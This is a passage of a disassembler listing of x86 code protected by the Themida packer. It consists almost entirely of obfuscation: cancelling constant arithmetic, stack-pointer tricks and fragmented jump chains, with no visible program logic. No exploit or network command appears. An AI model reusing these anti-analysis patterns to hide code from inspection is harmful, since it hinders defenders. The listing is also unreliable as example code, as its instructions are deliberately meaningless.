; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F970: ; CODE XREF: sub_58C17E+1j
mov ebx, 55B82FCCh
sub ebx, 5CCD7ADBh
jp loc_58E507
neg ebx
xor ebx, 7154B0Bh
jmp loc_596BCA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58F99E: ; CODE XREF: sub_5938B9-2127j
add esp, 4
xor esi, ecx
push dword ptr [esp+0]
jmp loc_595BE2
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58F9AE: ; CODE XREF: Themida_:005942ADj
ja loc_58E76D
shr edi, 6
sub edi, 71E80F89h
mov ch, bh
push esi
loc_58F9C0: ; CODE XREF: Themida_:0058B6DCj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push eax
mov eax, 4
add ecx, 17AA6E21h
jmp loc_597921
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F9E1: ; CODE XREF: sub_590467-4F96j
pop esi
sub ebx, edi
pop edi
shr ebx, 1
sub ebx, 0D1735182h
add eax, ebx
mov ebx, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
jmp loc_58E77B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58FA09: ; CODE XREF: Themida_:00593F6Ej
push ebx
push edx
mov dh, 2
sub dh, 0B5h
jg loc_5968D9
shl dh, 3
shl dh, 3
mov ah, al
mov ebx, esi
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FA20: ; CODE XREF: sub_58C17E+98A2j
xchg edx, ecx
jmp loc_5923CB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58FA27: ; CODE XREF: Themida_:0058E755j
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_58C34D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FA36: ; CODE XREF: sub_58C17E+5A63j
add esp, 4
add eax, edi
pop edi
xor ecx, eax
pop eax
push ebx
jmp sub_58D99C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58FA45: ; CODE XREF: Themida_:0058E053j
sub ebx, 152F0EE6h
or edx, ebx
jmp loc_58B684
; ---------------------------------------------------------------------------
loc_58FA52: ; CODE XREF: Themida_:00591856j
mov bh, 0EFh
jmp loc_58BBDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58FA59: ; CODE XREF: sub_59524C-1F00j
not ebp
xchg ebp, ecx
jmp loc_595B92
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58FA62: ; CODE XREF: Themida_:00595A7Ej
dec ebp
or ebp, 7F3924F7h
add ebp, 6E616A60h
xor ebp, 0ED9A995Bh
jmp loc_58CF2D
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 1608h
mov [esp], eax
push 6D2h
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 6ECF6D6Ch
sub ebp, 8914A7h
sub ebp, 325F4BD7h
jmp loc_58E33F
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 4CEA5FA3h
dec ecx
neg ecx
neg ecx
xor ecx, 4CEA5FA6h
add ebp, ecx
pop ecx
jmp loc_58A629
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58FAD1: ; CODE XREF: sub_5916C4+1E41j
add esi, 0DC354A61h
jmp loc_594AFD
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58FADC: ; CODE XREF: Themida_:0058BE8Ej
pop ebp
add ebp, 4
push ecx
mov ecx, 1A02727Eh
shl ecx, 8
js loc_58A954
and ecx, 70794FC8h
jmp loc_590FB4
; ---------------------------------------------------------------------------
loc_58FAFD: ; CODE XREF: Themida_:0058ECC8j
sub edi, 30982DD2h
pop eax
jmp loc_593D6A
; ---------------------------------------------------------------------------
loc_58FB09: ; CODE XREF: Themida_:00593B75j
push edi
mov edi, 3B6C2E8Ah
jmp loc_595DC9
; ---------------------------------------------------------------------------
loc_58FB14: ; CODE XREF: Themida_:0058B4F6j
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_592067
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FB23: ; CODE XREF: Themida_:0058C0FEj
; sub_58F5B5-1FA0j
mov edx, edi
pop edi
jmp loc_595BF2
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58FB2B: ; CODE XREF: Themida_:0058BA0Dj
push ebx
mov ebx, 134F098Fh
xchg esi, ebx
not esi
jmp loc_595C01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FB3A: ; CODE XREF: sub_58C17E+4FADj
push 6D98h
mov [esp-6+arg_0+2], ecx
jmp loc_58BE3C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58FB47: ; CODE XREF: sub_590467+1DF1j
; sub_5EC2E8-57AF8j
push 444Fh
push esp
jmp loc_58FFA2
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58FB52: ; CODE XREF: Themida_:0058AD86j
xor eax, ebx
jmp loc_58B58C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58FB59: ; CODE XREF: sub_590467-32E5j
add cl, 0F9h
mov bh, cl
push [esp-4+arg_0]
jmp loc_58D24D
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_58FB66: ; CODE XREF: sub_58E3A6+894Bj
shl ebp, 3
not ebp
add ebp, 5B9118BAh
sub ebp, 32077BB1h
add edx, ebp
jmp loc_597961
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58FB7E: ; CODE XREF: sub_5916C4+43F1j
add ebx, esi
pop esi
jmp loc_59596D
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58FB86: ; CODE XREF: sub_59762D-91D8j
add bl, 3Bh
jmp loc_5921E7
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58FB8E: ; CODE XREF: Themida_:0059640Cj
add esi, eax
add esi, 6CBF4333h
sub esi, 4E855C38h
add esi, 3955015Ch
push 50E0h
mov [esp], edx
jmp loc_58D9E0
; ---------------------------------------------------------------------------
loc_58FBAF: ; CODE XREF: Themida_:00593B8Ej
; Themida_:005955CCj
sub ecx, 4
jmp loc_58D87A
; ---------------------------------------------------------------------------
loc_58FBBA: ; CODE XREF: Themida_:0058E9B4j
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 0E79h
jmp loc_59048F
; ---------------------------------------------------------------------------
loc_58FBD7: ; CODE XREF: Themida_:00594122j
mov ecx, 1A247190h
not ecx
add ecx, 78DB56D1h
jmp loc_596080
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], edx
push edi
mov edi, 5296C71h
jmp loc_58D7C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FC07: ; CODE XREF: sub_58C17E-296j
xor esi, edi
mov edi, [esp+6+var_8+2]
add esp, 4
add eax, esi
pop esi
jmp loc_593495
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58FC17: ; CODE XREF: Themida_:00590F3Aj
sub esp, 4
mov [esp], eax
mov al, bh
jmp loc_58F061
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FC27: ; CODE XREF: sub_59762D-8983j
; sub_58C17E+AB6Cj
add edi, ebx
pop ebx
xor edi, [esp-6+arg_0+2]
jmp loc_58BB94
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_58D89E
; ---------------------------------------------------------------------------
loc_58FC44: ; CODE XREF: Themida_:0058E170j
add ecx, 7BF363Eh
add ebx, 29745327h
sub ebx, ecx
sub ebx, 29745327h
mov ecx, [esp]
jmp loc_58DDA0
; ---------------------------------------------------------------------------
loc_58FC60: ; CODE XREF: Themida_:005954D5j
push edx
push ebp
sub esp, 4
mov [esp], eax
mov eax, 5F13FA8h
jmp loc_597132
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909B4
loc_58FC72: ; CODE XREF: sub_5909B4-37F0j
pop ebp
xchg ebx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
mov word ptr [esp-0Ch+arg_8], dx
jmp loc_590FFA
; END OF FUNCTION CHUNK FOR sub_5909B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58FC82: ; CODE XREF: sub_590010-5A5Cj
pop ebx
pop esi
add ebx, eax
pop eax
push edx
push edi
mov edi, 6B5762Eh
jmp loc_58DC29
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58FC93: ; CODE XREF: sub_5916C4-135Bj
xor edx, 47F78C97h
mov edi, edx
mov edx, [esp-10h+arg_C]
add esp, 4
shl edi, 3
jns loc_592DFF
shr edi, 6
jmp loc_58BD1E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58FCB2: ; CODE XREF: sub_590467+1A53j
pop edi
dec ebx
sub ebx, 0D413CFEh
add ecx, ebx
jmp loc_58C243
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58FCC1: ; CODE XREF: sub_5916C4-14ACj
dec eax
push ebx
mov ebx, 1
sub eax, ebx
jmp loc_5914C9
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58FCCF: ; CODE XREF: sub_59762D-6C34j
jmp loc_58EC9E
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FCD4: ; CODE XREF: sub_58F5B5+7236j
add esp, 4
push ebx
mov ebx, 7EA356BEh
xor ebx, 7EA356BAh
add ebp, ebx
mov ebx, [esp-4+arg_0]
add esp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xor ebp, [esp-8+arg_4]
xor [esp-8+arg_4], ebp
xor ebp, [esp-8+arg_4]
pop esp
jmp loc_58B1C5
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58FD09: ; CODE XREF: Themida_:00597227j
add ebp, 168671BCh
jmp loc_595821
; ---------------------------------------------------------------------------
loc_58FD14: ; CODE XREF: Themida_:0059585Dj
shr ebx, 8
xor ebx, 21A65C5h
push edi
jmp loc_58ACCA
; ---------------------------------------------------------------------------
loc_58FD23: ; CODE XREF: Themida_:00596E21j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58FD28: ; CODE XREF: sub_595BDA+709j
; sub_5938B9+3598j
xor [esp+0], edi
xor edi, [esp+0]
pop esp
push 4D6Dh
jmp loc_5923C1
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58FD39: ; CODE XREF: sub_595BDA+3j
; Themida_:0059623Aj
mov [esp+0], ebx
mov bh, 0C7h
jmp loc_593ABC
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_58FD43: ; CODE XREF: Themida_:0059555Fj
mov dh, 88h
add dh, 0C3h
inc dh
jge loc_58EE1E
and dh, 0A5h
jnz loc_5962B1
push ebx
push eax
xor al, 89h
mov edi, eax
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58FD5F: ; CODE XREF: sub_5916C4-414Dj
push 6865h
mov [esp+0], eax
push 5FBh
mov [esp+0Eh+var_E], ecx
sub esp, 4
mov [esp+12h+var_12], eax
jmp loc_58ED1E
; ---------------------------------------------------------------------------
loc_58FD7A: ; CODE XREF: sub_5916C4+E4Aj
add esp, 4
shr ecx, 6
push 416Ch
mov [esp+12h+var_12], ebx
push [esp+12h+var_12]
jmp loc_5943CC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58FD90: ; CODE XREF: sub_595E21-435Dj
jmp loc_58C605
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338C
loc_58FD95: ; CODE XREF: sub_59338C-78FDj
xchg ecx, [esp+8+var_8]
pop esp
add esp, 4
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_59338C
; ---------------------------------------------------------------------------
loc_58FDA1: ; CODE XREF: Themida_:loc_591EBFj
or ebx, 3D764727h
jp loc_58DCD5
sub ebx, 0CF1CFB3Ah
jmp loc_58B983
; ---------------------------------------------------------------------------
push esi
pop eax
loc_58FDBA: ; CODE XREF: Themida_:0058BB1Ej
add ebx, 4F21282Ch
sub ebx, eax
sub ebx, 4F21282Ch
jmp loc_593998
; ---------------------------------------------------------------------------
loc_58FDCD: ; CODE XREF: Themida_:0058EF02j
sub ebx, 32521842h
add edx, ebx
jmp loc_58E0EB
; ---------------------------------------------------------------------------
loc_58FDDA: ; CODE XREF: Themida_:00590444j
mov [esp], edx
push 65D23382h
pop edx
add eax, edx
jmp loc_590B27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_58FDEA: ; CODE XREF: sub_58F836+48B8j
neg ebp
push edx
mov edx, 51DF2AFEh
jmp loc_5949BA
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FDF7: ; CODE XREF: sub_58F5B5-2EA3j
pop edi
xchg esi, [esp-8+arg_4]
pop esp
jmp loc_58FFBA
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58FE01: ; CODE XREF: Themida_:00593DF3j
add esp, 4
push ebp
push esp
jmp loc_58EAEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58FE0E: ; CODE XREF: sub_590467+3C24j
push edi
jmp loc_58B128
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58FE14: ; CODE XREF: sub_59762D+217j
xchg ecx, [esp+0]
mov esp, [esp+0]
imul cx
push ebx
mov ebx, esp
add ebx, 4
push ebp
jmp loc_58BA33
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58FE2C: ; CODE XREF: Themida_:0059076Fj
pop ax
add al, 60h
add al, bh
sub al, 60h
jmp loc_5910B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FE39: ; CODE XREF: sub_58F5B5:loc_58B3F5j
shl esi, 2
jnp loc_597961
sub esi, 32A79037h
mov eax, esi
jmp loc_5904D1
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58FE4F: ; CODE XREF: Themida_:00592D03j
push ebx
jmp loc_593B5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58FE55: ; CODE XREF: sub_59762D:loc_58F6B1j
; Themida_:0058F84Ej
sub ebx, 296387ABh
jmp loc_594476
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58FE60: ; CODE XREF: sub_592D25-451Aj
; Themida_:0058EE29j
jle loc_58E6B9
push ebp
mov ebp, 148664h
jmp loc_58DB4D
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_58FE71: ; CODE XREF: Themida_:00593FE5j
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 1F372BAEh
add dword ptr [esp+4], 2C9B1375h
sub dword ptr [esp+4], 5E365C5Ah
add [esp+4], edx
push ecx
push ebp
mov ebp, 2D3B679Bh
jmp loc_58D2F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FEB6: ; CODE XREF: sub_58C17E+4831j
pop esp
push esi
push 33CD15BDh
pop esi
add ecx, 0A575744h
jmp loc_58A42B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58FEC9: ; CODE XREF: sub_5938B9:loc_5933C2j
sub ecx, 0FFE6DEC0h
add ecx, edx
sub esp, 4
jmp loc_596F09
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58FED9: ; CODE XREF: Themida_:00594A5Cj
jp loc_58E993
jmp loc_58B185
; ---------------------------------------------------------------------------
sub edx, 0BF8793Eh
pop esp
loc_58FEEB: ; CODE XREF: Themida_:00590F67j
sub ch, 2Ch
sub al, ch
jmp loc_593DC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58FEF5: ; CODE XREF: sub_595258-AE48j
shr eax, 0Eh
xor eax, ecx
push 10BFh
mov [esp+4+var_4], eax
xchg ebp, [esp+4+var_4]
not ebp
xchg ebp, [esp+4+var_4]
push [esp+4+var_4]
mov eax, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 2A8F504Dh
inc edi
sub edi, 8407E49h
or edi, 78F95CF5h
not edi
not edi
push eax
mov eax, 7AFFDEF1h
xor edi, eax
jmp loc_58CCEF
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58FF50: ; CODE XREF: sub_58C17E+BCEAj
add esp, 4
or eax, eax
jz sub_590010
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp+0], ebp
push 1E0E78C8h
mov ebp, [esp+2+var_4+2]
add esp, 4
xor [esp-2+arg_0+2], ebp
mov ebp, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_592091
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FF8A: ; CODE XREF: sub_58F5B5+70ADj
pop dword ptr [esp+0]
pop esp
push 1D0Fh
mov [esp-4+arg_0], esp
add [esp-4+arg_0], 4
jmp loc_590A34
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58FFA2: ; CODE XREF: sub_5EC2E8-5C79Bj
pop [esp+28h+var_28]
add [esp+24h+var_24], 4
push [esp+24h+var_24]
pop eax
add esp, 4
push edx
push ebp
jmp loc_591339
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58FFBA: ; CODE XREF: sub_58F5B5+847j
pop ecx
push ebx
push 550D2F7Bh
pop ebx
jmp loc_58ED09
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58FFC7: ; CODE XREF: Themida_:0058D44Dj
movzx cx, al
push cx
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58FFD3: ; CODE XREF: sub_5916CB-4817j
push dword ptr [esp+0]
jmp loc_595F7D
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58FFDB: ; CODE XREF: sub_595E21+10j
xchg edx, ecx
shl ecx, 8
shr ecx, 1
push eax
mov eax, 5A692F87h
xor eax, 61398934h
jmp loc_592E94
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58FFF2: ; CODE XREF: Themida_:0058B755j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_58F7E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_590005: ; CODE XREF: sub_5919E2+4316j
add ebx, eax
jmp loc_58EF1B
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E0C4
loc_59000C: ; CODE XREF: sub_58E0C4+9205j
xchg ebx, [esp+8+var_8]
pop esp
; END OF FUNCTION CHUNK FOR sub_58E0C4
; =============== S U B R O U T I N E =======================================
sub_590010 proc near ; CODE XREF: sub_58C17E+3DD7j
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_14 = dword ptr 18h
; FUNCTION CHUNK AT 0058A59B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058A73F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058A7A8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058ACB6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B426 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B51F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B77F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C13B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C28C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C2D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C387 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C51B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058C5DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C60A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C8DB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C945 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CADA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CBED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CC74 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D1A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D2ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D3B5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D484 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D4ED SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058DC29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DD16 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058DD99 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DDD5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E57F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E6D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E728 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EAE5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058EE00 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F0E7 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F12A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F1D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F2B6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F52E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F784 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F7FE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058FC82 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005904E6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00590545 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590BA5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00590CB7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00590CD9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590D93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005910BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005911E9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059124E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591389 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059165A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005916A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059172D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005919BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591B1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005922B2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059240C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592661 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005927B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592C35 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592E9B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00592F04 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593273 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059380A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00593EAE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005943F3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059446D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005944E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594806 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594B8D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594CDA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059576A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595ACF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595BE8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595FE7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005964F6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596ADA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597BF9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597E7F SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00597EC1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597F6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059805F SIZE 00000006 BYTES
push ebx
sub esp, 4
mov [esp+8+var_8], esi
push edi
mov edi, 7D233EFAh
mov esi, 320F38B9h
xor esi, edi
pop edi
push esi
mov esi, 227839F0h
sub [esp+0Ch+var_4], esi
pop esi
add [esp+8+var_4], 6EEF6293h
sub [esp+8+var_4], esi
sub [esp+8+var_4], 6EEF6293h
add [esp+8+var_4], 227839F0h
pop esi
push [esp+4+var_4]
jmp loc_58DD16
sub_590010 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59005F: ; CODE XREF: Themida_:0059331Bj
push esi
mov esi, 475BDE3Eh
sub eax, esi
jmp loc_58AF30
; ---------------------------------------------------------------------------
loc_59006C: ; CODE XREF: Themida_:0058C0F4j
pop esp
jmp loc_58E787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_590072: ; CODE XREF: sub_5EC2E8-5525Cj
mov [esp+28h+var_28], esi
mov esi, 4
mov edx, esi
pop esi
add ebp, edx
jmp loc_58F534
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_590084: ; CODE XREF: Themida_:0058C225j
sub ebx, 5FBB4C82h
jmp loc_58F0CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59008F: ; CODE XREF: sub_58F5B5-8A2j
push 67D8h
mov [esp+0], edx
jmp loc_5916AF
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59009C: ; CODE XREF: Themida_:00596381j
mov ebp, esp
push 686h
mov [esp], eax
mov eax, 62141B4Fh
sub eax, 73AF0838h
push ebx
mov ebx, 119AECEDh
add eax, ebx
